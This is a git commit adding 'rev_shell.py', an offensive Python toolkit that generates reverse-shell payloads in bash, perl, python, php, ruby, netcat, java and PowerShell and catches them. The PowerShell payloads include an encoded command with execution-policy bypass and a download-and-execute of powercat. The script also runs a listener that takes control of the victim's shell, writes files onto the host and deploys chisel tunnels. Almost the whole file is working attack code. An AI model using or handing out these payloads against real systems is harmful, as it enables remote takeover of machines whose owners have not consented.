Repository restructuring

This commit is contained in:
2026-04-30 19:53:18 +02:00
parent 31af1f4423
commit f233fe8264
98 changed files with 4216 additions and 1392 deletions

580
tools/exploits/rev_shell.py Executable file
View File

@@ -0,0 +1,580 @@
#!/usr/bin/python
import socket
import os
import re
import sys
import pty
import time
import random
import threading
import paramiko
import base64
import select
import argparse
import signal
from hackingscripts.utils import util
from hackingscripts.tools.misc import upload_file
try:
import SocketServer
except ImportError:
import socketserver as SocketServer
class ShellListener:
def __init__(self, addr, port):
self.listen_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.bind_addr = addr
self.port = port
self.verbose = False
self.on_message = []
self.listen_thread = None
self.connection = None
self.on_connect = None
self.features = set()
self.shell_ready = False
self.os = None # we need a way to find the OS here
self.raw_output = b""
def startBackground(self):
self.listen_thread = threading.Thread(target=self.start)
self.listen_thread.start()
return self.listen_thread
def has_feature(self, feature):
return feature.lower() in self.features
def probe_features(self):
if self.os == "unix":
features = ["wget", "curl", "nc", "sudo", "telnet", "docker", "python"]
for feature in features:
output = self.exec_sync("whereis " + feature)
if output.startswith(feature.encode() + b": ") and len(output) >= len(feature)+2:
self.features.add(feature.lower())
else:
print("[-] Can't probe features for os:", self.os)
def get_features(self):
return self.features
def start(self):
self.running = True
self.listen_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.listen_socket.bind((self.bind_addr, self.port))
self.listen_socket.listen()
while self.running:
self.connection, addr = self.listen_socket.accept()
with self.connection:
print("[+] Got connection:", addr)
if self.on_connect:
self.on_connect(addr)
self.shell_ready = False
while self.running:
data = self.connection.recv(1024)
if not data:
break
if self.os is None and not self.shell_ready:
if b"Windows PowerShell" in data or b"Microsoft Windows" in data:
self.os = "win"
elif b"bash" in data or b"sh" in data:
self.os = "unix"
if self.os and self.verbose:
print("OS PROBED:", self.os)
if self.verbose:
print("< ", data)
if self.shell_ready: # TODO: check this...
for callback in self.on_message:
callback(data)
elif self.is_prompt(data):
self.shell_ready = True
if self.verbose:
print("RECV first prompt")
else:
self.raw_output += data
for callback in self.on_message:
callback(data)
print("[-] Disconnected")
self.connection = None
self.running = False
def close(self):
self.running = False
self.sendline("exit")
self.listen_socket.close()
if self.listen_thread != threading.currentThread():
self.listen_thread.join()
def send(self, data):
if self.connection:
if isinstance(data, str):
data = data.encode()
if self.verbose:
print("> ", data)
self.connection.sendall(data)
def sendline(self, data):
if isinstance(data, str):
data = data.encode()
data += b"\n"
return self.send(data)
def is_prompt(self, data):
if self.os == "unix":
if data.endswith(b"# ") or data.endswith(b"$ "):
return True
elif self.os == "win":
if data.endswith(b"> ") or data.endswith(b">") or data.endswith(b"$ "):
return True
return False
def exec_sync(self, cmd):
if self.os is None:
print("[-] OS not probed yet, waiting...")
while self.os is None:
time.sleep(0.1)
if not self.shell_ready:
print("[-] Shell not ready yet, waiting...")
while not self.shell_ready:
time.sleep(0.1)
output = b""
complete = False
if isinstance(cmd, str):
cmd = cmd.encode()
def callback(data):
nonlocal output
nonlocal complete
if complete:
return
output += data
if self.is_prompt(output):
complete = True
if self.os == "unix":
line_ending = b"\n"
elif self.os == "win":
line_ending = b"\r\n"
if line_ending in output:
output = output[0:output.rindex(line_ending)]
if output.startswith(cmd + line_ending):
output = output[len(cmd)+len(line_ending):]
self.on_message.append(callback)
self.sendline(cmd)
while not complete:
time.sleep(0.1)
self.on_message.remove(callback)
return output
def print_message(self, data):
try:
data = data.decode()
except:
data = str(data) # workaround so the shell doesn't die
sys.stdout.write(data)
sys.stdout.flush()
def interactive(self):
print("[ ] Switching to interactive mode")
self.on_message.append(lambda x: self.print_message(x))
while self.running and self.connection is not None:
self.sendline(input())
def wait(self):
while self.running and self.connection is None:
time.sleep(0.1)
return self.running
def get_cwd(self):
if self.os == "unix":
return self.exec_sync("pwd").decode()
elif self.os == "win":
return self.exec_sync("pwd | foreach {$_.Path}").decode()
else:
print("[-] get_cwd not implemented for os:", self.os)
return None
def write_file(self, path, data_or_fd, permissions=None, method=None, sync=False, **kwargs):
if method == None:
if self.os == "win":
method = "powershell"
elif self.os == "unix":
method = "echo"
else:
print("[-] No method specified, assuming 'echo'")
method = echo
print(f"[ ] Writing file '{path}' using method: {method}")
send_func = self.sendline if not sync else self.exec_sync
def write_chunk(chunk, first=False):
chunk = base64.b64encode(chunk).decode()
if method == "powershell":
send_func(f"$decodedBytes = [System.Convert]::FromBase64String('{chunk}')")
send_func(f"$stream.Write($decodedBytes, 0, $decodedBytes.Length)")
else:
operator = ">" if first else ">>"
send_func(f"echo {chunk}|base64 -d {operator} {path}")
if method == "echo" or method == "powershell":
if method == "powershell":
path = path.replace("'","\\'")
send_func(f"$stream = [System.IO.File]::Open('{path}', [System.IO.FileMode]::Create)")
chunk_size = 1024
if hasattr(data_or_fd, "read"):
first = True
while True:
data = data_or_fd.read(chunk_size)
if not data:
break
if isinstance(data, str):
data = data.encode()
write_chunk(data, first)
first = False
data_or_fd.close()
else:
if isinstance(data_or_fd, str):
data_or_fd = data_or_fd.encode()
for offset in range(0, len(data_or_fd), chunk_size):
write_chunk(data_or_fd[offset:offset+chunk_size], offset == 0)
if method == "powershell":
send_func(f"$stream.Close()")
elif method == "nc" or method == "netcat":
ip_addr = util.get_address()
bin_path = "nc" if not "bin_path" in kwargs else kwargs["bin_path"]
port = None if "listen_port" not in kwargs else int(kwargs["listen_port"])
sock = util.open_server(ip_addr, port, retry=False)
if not sock:
return False
def serve_file():
upload_file.serve_file(sock, data_or_fd, forever=False)
port = sock.getsockname()[1]
upload_thread = threading.Thread(target=serve_file)
upload_thread.start()
send_func(f"{bin_path} {ip_addr} {port} > {path}")
upload_thread.join()
else:
print("[-] Unknown write-file method:", method)
return False
if permissions and self.os == "unix":
send_func(f"chmod {permissions} {path}")
print("[+] Done!")
class ParamikoTunnelServer(SocketServer.ThreadingTCPServer):
daemon_threads = True
allow_reuse_address = True
class ParamikoTunnel:
def __init__(self, shell, ports):
self.shell = shell
self.ports = ports
self.verbose = False
self.is_running = True
self.on_message = []
self.listen_threads = []
self.servers = []
def start_background(self):
for port in self.ports:
thread = threading.Thread(target=self.start, args=(port, ))
thread.start()
self.listen_threads.append(thread)
return self.listen_threads
def start(self, port):
this = self
class SubHandler(ParamikoTunnelHandler):
peer = this.shell.get_transport().sock.getpeername()
chain_host = "127.0.0.1"
chain_port = port
ssh_transport = this.shell.get_transport()
def log(self, message):
if this.verbose:
print(message)
forward_server = ParamikoTunnelServer(("127.0.0.1", port), SubHandler)
self.servers.append(forward_server)
forward_server.serve_forever()
def close(self):
self.is_running = False
for server in self.servers:
server._BaseServer__shutdown_request = True
for thread in self.listen_threads:
thread.join()
class ParamikoTunnelHandler(SocketServer.BaseRequestHandler):
def handle(self):
try:
chan = self.ssh_transport.open_channel(
"direct-tcpip",
(self.chain_host, self.chain_port),
self.request.getpeername(),
)
except Exception as e:
self.log(
"Incoming request to %s:%d failed: %s"
% (self.chain_host, self.chain_port, repr(e))
)
return
if chan is None:
self.log(
"Incoming request to %s:%d was rejected by the SSH server."
% (self.chain_host, self.chain_port)
)
return
self.log(
"Connected! Tunnel open %r -> %r -> %r"
% (
self.request.getpeername(),
chan.getpeername(),
(self.chain_host, self.chain_port),
)
)
while True:
r, w, x = select.select([self.request, chan], [], [])
if self.request in r:
data = self.request.recv(1024)
if len(data) == 0:
break
chan.send(data)
if chan in r:
data = chan.recv(1024)
if len(data) == 0:
break
self.request.send(data)
peername = self.request.getpeername()
chan.close()
self.request.close()
self.log("Tunnel closed from %r" % (peername,))
def generate_payload(payload_type, local_address, port, index=None, **kwargs):
commands = []
shell = kwargs.get("shell", "/bin/bash")
if payload_type in ["sh", "bash"]:
protocol = kwargs.get("protocol", "tcp")
assert protocol in ["tcp", "udp"]
payload = f"{payload_type} -i >& /dev/{protocol}/{local_address}/{port} 0>&1"
elif payload_type == "perl":
method = kwargs.get("method", "exec")
if method == "exec":
payload = f"perl -e 'use Socket;$i=\"{local_address}\";$p={port};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){{open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/{shell} -i\");}};'"
else:
payload = f"perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,\"{local_address}:{port}\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'"
elif re.match(r"python((2|3)(\.[0-9]+)?)?", payload_type):
payload = f"{payload_type} -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{local_address}\",{port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/{shell}\",\"-i\"]);'"
elif payload_type == "php":
payload = f"php -r '$sock=fsockopen(\"{local_address}\",{port});exec(\"/{shell} -i <&3 >&3 2>&3\");'"
elif payload_type == "ruby":
payload = f"ruby -rsocket -e'f=TCPSocket.open(\"{local_address}\",{port}).to_i;exec sprintf(\"{shell} -i <&%d >&%d 2>&%d\",f,f,f)'"
elif payload_type in ["netcat", "nc", "ncat"]:
method = kwargs.get("method", "fifo")
if method == "fifo":
fifo_name = kwargs.get("fifo_name", "f")
payload = f"rm /tmp/{fifo_name};mkfifo /tmp/{fifo_name};cat /tmp/{fifo_name}|{shell} -i 2>&1|{payload_type} {local_address} {port} >/tmp/{fifo_name}"
else:
payload = f"{payload_type} {local_address} {port} -e {shell}"
elif payload_type == "java":
payload = f"r = Runtime.getRuntime()\np = r.exec([\"{shell}\",\"-c\",\"exec 5<>/dev/tcp/{local_address}/{port};cat <&5 | while read line; do \\$line 2>&5 >&5; done\"] as String[])\np.waitFor()"
elif payload_type == "xterm":
payload = f"xterm -display {local_address}:1"
elif payload_type == "powercat":
shell = kwargs.get("shell", "cmd")
http_port = kwargs.get("http_port", 80)
return f"powershell.exe -c \"IEX(New-Object System.Net.WebClient).DownloadString('http://{local_address}:{http_port}/powercat.ps1');powercat -c {local_address} -p {port} -e {shell}\""
elif payload_type == "powershell":
payload = '$a=New-Object System.Net.Sockets.TCPClient("%s",%d);$d=$a.GetStream();[byte[]]$k=0..65535|%%{0};while(($i=$d.Read($k,0,$k.Length)) -ne 0){;$o=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($k,0,$i);$q=(iex $o 2>&1|Out-String);$c=$q+"$ ";$b=([text.encoding]::ASCII).GetBytes($c);$d.Write($b,0,$b.Length);$d.Flush()};$a.Close();' % (local_address, port)
if kwargs.get("method", "process") == "process":
payload_encoded = base64.b64encode(payload.encode("UTF-16LE")).decode()
execution_policy = kwargs.get("execution_policy", "bypass")
flags = ["-EncodedCommand", payload_encoded]
if execution_policy is not None:
flags.append("-ExecutionPolicy")
flags.append(execution_policy)
flags = " ".join(flags)
payload = f"powershell.exe {flags}"
else:
payload = None
print("[-] Unknown payload type:", payload_type)
return payload
def spawn_listener(port):
signal.signal(signal.SIGINT, on_ctrl_c)
while True:
orig_stdin = os.dup(0)
pid, fd = pty.fork()
if pid == 0:
os.dup2(orig_stdin, 0)
x = os.execvp("nc", ["nc", "-lvvp", str(port)])
else:
try:
while True:
data = os.read(fd, 1024)
if not data:
break
sys.stdout.buffer.write(data)
sys.stdout.flush()
except OSError as e:
print("[!] OSError:", str(e), "respawning shell…")
def wait_for_connection(listener, timeout=None, prompt=True):
start = time.time()
if prompt:
prompt = prompt if type(prompt) == str else "[ ] Waiting for shell"
if timeout is not None:
timer_len = sys.stdout.write("\r%s: %ds\r" % (prompt, timeout))
sys.stdout.flush()
else:
print(prompt)
while listener.connection is None and listener.running:
time.sleep(0.5)
if timeout is not None:
diff = time.time() - start
if diff < timeout:
sys.stdout.write(util.pad(f"\r%s: %ds" % (prompt, timeout - diff), timer_len, " ") + "\r")
sys.stdout.flush()
else:
print(util.pad("\r[-] Shell timeout :(", timer_len, " ") + "\r")
return None
return listener
def spawn_background_shell(port, timeout=None, prompt=True):
listener = ShellListener("0.0.0.0", port)
listener.startBackground()
wait_for_connection(listener, timeout, prompt)
return listener
def trigger_shell(func, port):
def _wait_and_exec():
time.sleep(1.5)
func()
threading.Thread(target=_wait_and_exec).start()
spawn_listener(port)
def trigger_background_shell(func, port, timeout=None, prompt=True):
listener = ShellListener("0.0.0.0", port)
listener.startBackground()
threading.Thread(target=func).start()
wait_for_connection(listener, timeout, prompt)
return listener
def create_tunnel(shell, ports: list):
if len(ports) == 0:
print("[-] Need at least one port to tunnel")
return
# TODO: ports
if isinstance(shell, ShellListener):
# TODO: if chisel has not been transmitted yet
# we need a exec sync function, but this requires guessing when the output ended or we need to know the shell prompt
ipAddress = util.get_address()
chiselPort = 3000
chisel_path = os.path.join(os.path.dirname(__file__), "chisel64")
shell.write_file("/tmp/chisel64", open(chisel_path, "rb"))
shell.sendline("chmod +x /tmp/chisel64")
t = threading.Thread(target=os.system, args=(f"{chisel_path} server --port {chisel_port} --reverse", ))
t.start()
shell.sendline(f"/tmp/chisel64 client --max-retry-count 1 {ipAddress}:{chiselPort} {ports} 2>&1 >/dev/null &")
return t
elif isinstance(shell, paramiko.SSHClient):
paramiko_tunnel = ParamikoTunnel(shell, ports)
paramiko_tunnel.start_background()
return paramiko_tunnel
def on_ctrl_c(*args):
global ctrl_c_pressed
now = time.time()
last_pressed = globals().get("ctrl_c_pressed", None)
if not last_pressed or (now - last_pressed) > 1.5:
print("[!] CTRL-C pressed. Press again if you really want to interrupt")
else:
sys.exit(0)
ctrl_c_pressed = now
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Reverse shell generator")
parser.add_argument(dest="type", type=str, default=None, help="Payload type")
parser.add_argument("-p", "--port", type=int, required=False, default=None, help="Listening port")
parser.add_argument("-a", "--addr", type=str, required=False, default=util.get_address(), help="Listening address")
args, extra = parser.parse_known_args()
listen_port = args.port
payload_type = args.type.lower()
local_address = args.addr
extra_args = {}
for entry in extra:
match = re.match(r"(\w+)=(\w+)", entry)
if not match:
print("Invalid extra argument:", entry)
exit()
key, value = match.groups()
extra_args[key] = value
# choose random port
if listen_port is None:
listen_port = random.randint(10000,65535)
while util.is_port_in_use(listen_port):
listen_port = random.randint(10000,65535)
payload = generate_payload(payload_type, local_address, listen_port, **extra_args)
if payload is None:
print("Unknown payload type: %s" % payload_type)
print("Supported types: sh, bash, perl, python[2|3], php, ruby, netcat|nc, java, xterm, powershell")
exit(1)
if payload_type.startswith("python"):
# e.g. python3.11
tty_bin = payload_type
else:
tty_bin = "python"
tty = f"{tty_bin} -c 'import pty; pty.spawn(\"/bin/bash\")'"
print("---PAYLOAD---\n%s\n---TTY---\n%s\n---------\n" % (payload, tty))
if payload_type == "xterm":
print("You need to run the following commands (not tested):")
print("xhost +targetip")
print("Xnest :1")
else:
spawn_listener(listen_port)